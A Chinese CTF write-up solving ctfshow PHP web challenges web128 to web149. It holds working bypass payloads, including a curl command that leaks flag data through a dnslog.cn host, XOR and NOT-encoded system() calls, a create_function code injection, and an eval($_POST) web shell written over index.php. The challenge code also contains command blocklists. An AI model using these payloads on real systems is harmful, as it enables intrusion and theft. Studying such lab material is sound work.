if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
分析:
- 这道题正如题目描述一样又是个不知道的骚操作 🐂🍺 666
- 阅读程序上下文发现头一次见 call_user_func() 把第一个参数作为回调函数调用。其余参数是回调函数的参数,所以 $f1 为一个函数,$f2 为这个函数的参数。
- 再往下看 定义了一个 check() 函数,对 数字字母进行了过滤。
- 这道题的骚操作是利用了 gettext 查找 php 手册
- 如图所示 : 您可以使用下划线字符“_”作为此函数的别名。🐂🍺 666
- get_defined_vars()返回由所有已定义的变量所组成的数组
- ?f1=_&f2=get_defined_vars
web129
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
分析:
web130
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
分析:
源码:
首先阅读程序上下文。发现正则匹配 '/.+?ctfshow/is'
, i不区分大小写, s 匹配换行符,+ 匹配前面的子表达式一次或多次,?匹配前面的子表达式零次或一次,. 默认情况下的圆点 . 是 匹配除换行符 \n 之外的任何字符,
需要注意中间的 ? (问号) 在 字符串ctfshow前面必须有一个或0个字符, 只写 ctfshow 即可绕过。
继续往下看,stripos() 和上一题一样匹配字符串 ctfshow 首次出现的位置,此处为三个等号 === 全等比较数值和类型,如果匹配出字符出首次出现的位置为 0 ,0 (int), 与 FALSE(bool) 自然不想等就等绕过
strpos && stripos 可以数组绕过。
本题有个提示:very very very(省略25万个very)ctfshow,据说正则最多匹配25w次,之后就不行了。真™骚
那么可以写个脚本:
1 2 3 4 5 6 7 8
| import requests url = 'http://e3081345-a5cb-4efc-a89c-3e4f4e66a000.challenge.ctf.show:8080/'
data = { 'f':'very'*250000+'ctfshow' } response = requests.post(url=url,data=data) print(response.text)
|
post中的内容 very 生成了25000次,超过了最大值,返回 false ,同时其中包含 字符串 ctfshow 就绕过了第二个 stripos分支,最终得到 falg
web131
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
分析:
1 2 3 4 5 6 7
| import requests url ='http://f16472c2-b4b2-4983-8528-8630be8b0610.challenge.ctf.show:8080/' data = { 'f':'very'*250000+'36Dctfshow' } response = requests.post(url=url,data=data) print(response.text)
|
web132
首先打开发现为一个 blog 页面 没有什么可用信息 所以尝试目录爆破:
从爆破结果如上图所示,其中 /admin/可以打开,原来把题目藏在了这个页面:
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
|
分析:
- 首先阅读程序上下文,发现有三个 $_GET 的参数: username, password, code
- 然后继续往下可以看到 mt_rand(1,0x36D) 这个函数的作用 是生成随机数从 1-877 ,详情看手册
1
| if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
|
- 从这条 if 语句 可以知道 两个运算符 && 和 || 根据优先级 添加括号使得易于理解:
1
| if( ($code === mt_rand(1,0x36D) && $password === $flag) || ($username ==="admin"))
|
- 这个 if 语句 存在两种情况,1:|| 的前部分(左边) 为 TRUE 2: || 的后部分为(右边) True, 从这里可以知道了,让前面的表达式为FALSE ,后面的表示为 TRUE 就可以绕过 随机数。是的程序继续向下执行:
- 下一个 if 的条件为 $code == ‘admin’ 、
- 综上所述可以得到:
1
| ?username=admin&password=&code=admin
|
web133
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
|
分析:
- 这道题对我来说又是一个知识盲区,只有看看大佬方法了:
1
| ?F=`$F`; curl `cat flag.php | grep "flag"`.9b8kh6.dnslog.cn
|
web134
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
分析:
首先阅读程序上下文,定义了两个变量,第一个if()判断对GET 和 POST 的参数进行匹配,如果有则狗带了。
parse_str() 又出现了: 将字符串解析成多个变量,没有返回值;
$_SERVER[‘QUERY_STRING’] 又出现了: 查询字符串,在本题中将,将得到字符串然后作为 parse_str()的参数执行。那么字符串的内容就会变为多个变量。举个例子: _POST[a]=1&_POST[b]=2; 将 _POST[a] 和 _POST[b] 为了变量, $ _POST[a] 和 $ _POSTarr[b];
extract()又出现了:从数组中将变量导入到当前的符号表,检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。 举个例子:_ POST[a]=1,_POST[b]=2; 将键名 a 和 b 作为了变量,所以 $a=1,$b=2;
最后一个 if() 判断,使 $key1 和 $key2 等于 36d 才能得到最后的 flag。那么在上一步 extract() 变量覆盖中,我们需要将 key1 和 key2 作为某个数组的 键名, 再往上一步 parse_str() 字符串解析为变量,传入的字符串得包含 key1 和 key2。如果直接将 key1 和 key2作为变量名,就不能被extract()覆盖作为数组的 键名。因此传入的字符串必须是个数组且键名得是 key1 和 key2。
本地验证:
- 最终结果: ?_POST[key1]=36d&_POST[key2]=36d
web135
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
|
分析:
- 这题和 web 133类似,多了过滤的内容,看了看网上大佬的文章:
1
| ?F=`$F `; cp flag.php 1.txt;
|
web136
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
分析:
- 还是和上一题类似,参考羽师傅的文章,用到 tee 命令:用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。详情百度
- ?c=ls|tee 1 将 ls 出来的内容 通过 tee 存入 文件 1 中,然后访问 url/1 将下载此文件打开发现:当前目录没有flag.php文件
- ?c=ls / |tee 1 将 ls / 根目录中的内容通过 tee 写入到 1 中,再次打开: 发现根目录下有 : f149_15_h3r3
- ?c=cat /f149_15_h3r3 |tee flag 打开得到 flag
web137
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
|
分析:
- call_user_func() 在 web128中使用过一次。把第一个参数作为回调函数调用
- 代码中 定义了 一个 ctfshow 类,类中有 函数 getFlag()
- 我们需要通过 call_user_func() 来调用这个类中的函数。
- 在 类 中 可以使用 :: 两个冒号来调用类中的函数和属性。
1 2
| post: ctfshow=ctfshow::getFlag
|
web138
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']);
|
分析:
- 此题相较于上一题的基础上对 :(冒号) 进行了匹配,不管怎么输入 :(冒号), strripos() 匹配的结果都是 正数。因此得换一个方法来调用类中的内容。
- call_user_func() 的手册中有对 如何调取 类 进行了讲解如下图:
- 发现可以使用数组,第一个参数为 类名,第二个参数为 类中的函数名(方法名)
1 2
| ctfshow[0]=ctfshow&ctfshow[1]=getFlag
|
web139
先放着
web140
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
|
分析:
- 首先阅读程序上下文 POST 两个参数必须数字或字母组成,且 $f1($f2()); 注意括号 变量后面有括号表示函数了。随便输入几个函数
- intval() 如果参数为 字母组成,它的返回值为 0 。
1 2 3 4
| f1=md5&f2=md5 f1=usleep&f2=usleep ……
|
web141
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
分析:
- 首先阅读程序上下文,发现了 正则匹配: /^\W+$/ \W 匹配非字母,数字,下划线等价于 ‘[A-Za-z0-9_]’ ,注意 “非” 这个字,就是不匹配 字母,数字,下划线。
- is_numeric() 检测变量是否为数字或数字字符串 。那么 v1 , v2 得是数字形式。
- 需要构造绕过 字母,数字,下划线的 字符。参考了 羽师傅的文章。
- eval(“return $v1$v3$v2”), return 返回并结束程序,而 v1, v2 为数字,那么 v3 就是命令执行了。所以要让 v3 = 无字母数字下划线的 RCE。需要注意 v1, v2,v3的位置。来本地测试一下。
- 注意图中 ,分别为 v1,v2,v3 传入参数: 1,2,3 那么 $v1$v3$v2=123 , 没有结果,再看一个示例:
- 如图所示,将 v3 更改为了 - (减号) 可得到结果。类推: *, / ,% ,^ 等都行,但是 + 不行。 此时可以证明 PHP 中 数字可以和命令进行运算。再看一个示例:
- 如图所示,将 phpinfo() 与 数字进行了运算 : 1-phpinfo()*2 , 仍然能得到 php 的版信息。再看一个示例:
- 如图所示: 在上一步上依此类推可以构造出 system(“tac f*”); 而在本题当中 需要 将 system(“tac f*”) 此命令变成 无字母数字的 RCE: (
%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)
1
| ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)*
|
- 得到 了 flag , 这题的 重点 在于 无字母数字字符的构造。
web142
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
|
分析:
- GET 一个参数 v1, 并 强制类型转换为 String类型。
- is_numeric() 函数将检测变量是否为数字或数字字符串。那么此处的 v1 为 String 符合此函数。
- $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); 表示 将 v1与0x3d相乘取整赋值给 $d.
- sleep($d);将 休眠得到的秒数。因此将 v1=0 ,0乘任何书得0将会休眠0秒。即可输出flag。
web143
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
分析:
- 观察此题是在web 141得基础上对输入得内容进行了更多得过滤。过滤了 ~(取反) -(减号), 那么 取反将不能利用并且减号不能利用。但仍然可以利用 异或,* ,/,需要更改生成文件得正则为题目中的一样。
1 2
| ?v1=1&v2=2&v3=/("%0f%01%0c%0c%0b%08%0d%0a"^"%7f%60%7f%7f%7f%60%7f%7f")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")/
|
web144
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
function check($str){ return strlen($str)===1?true:false; }
|
分析:
- 此题在web141的基础上 定义了一个 check函数,此函数的功能是:判断 str 的长度是否为1并且类型是否一样。三目运算符可改写为:
1 2 3 4
| if(strlen($str) === 1) return true; else return false;
|
- 那么这个参数 长度必须为 1 位。其余没什么变化。
1 2
| ?v1=10&v3=1&v2=/(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
|
web145
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
分析:
- 此题相较于上一题过滤了很多。其中对 -(减号), +(加号),*(乘号),/(除号),&(取址),%(取模)这些常规的算数运算符号进行了过滤。但是没有过滤 | (或运算)。
1 2
| ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
|
- 原来还可以 三木运算:1为True 那么自然会执行构造的语句。
1 2
| ?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5): return 1?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):2
|
- 既然三木可以,那么 原来的那几道应该也可以。经测试可以。
web146
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
分析:
- 相较于上一题,没有过滤 | (或),过滤了 : (冒号),那么三目运算就失效了。
1 2
| ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)| v3 = system('tac f*')
|
web147
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }
}
|
分析:
;
1 2 3 4 5 6
| $fun = create_function('$a','echo "123;"');
fun($a) { echo "123"; }
|
- 第一个参数为变量,第二个参数为函数体中的内容。
- 可以对 函数体的内容作手脚例如: ;}phpinfo();// 或者 ;}phpinfo();/*
;
- 如上图所示,成功执行 phpinfo(); 因为 ;} 对函数体进行了闭合,phpinof();就成为了一条后续语句。而 /* 或者// 则为 注释掉原有的 右大括号 }
1 2 3 4 5
| fun($a) { echo "123"; ;}phpinfo();
|
- 在本题当中 有两个可控参数 ctf, show 我们需要对其构造成为 create_function() 的形式从而达到目的。
1 2
| post: create_function get: }passthru("tac f*");
|
- 此时并不能顺利拿到 flag 因为此题还有一个考点 php namespace 命名空间。默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
1 2
| post: \create_function get: }passthru("tac f*");
|
web148
源码:
什么是变量?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); }
function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
|
分析:
- 看了提示和别人的 wp
- 正则没有对 ^ 异或进行过滤。那么可以使用 异或 生成语句。就和web141那几道类似。
1
| ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
|
web149
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
error_reporting(0); highlight_file(__FILE__);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
|
分析:
- 根据题目提示:你写的快还是我删的快?
- unlink() 删除文件的函数。$file !== index.php 可知要想不执行unlink $file 必须得是 index.php
- 结合 : file_put_contents($_GET[‘ctf’], $_POST[‘show’]); 得知,file_put_contents() 将一个字符串写入文件。那么可得 ctf=index.php show=
1 2
| get: ?ctf=index.php post: show=<?php @eval($_POST[mm]);?>
|
- 这时就将 index.php 重写为了 一句话木马。再次访问 index.php 没有任何显示。
- 打开菜刀连接 index.php 密码: mm 连接。
web150
没做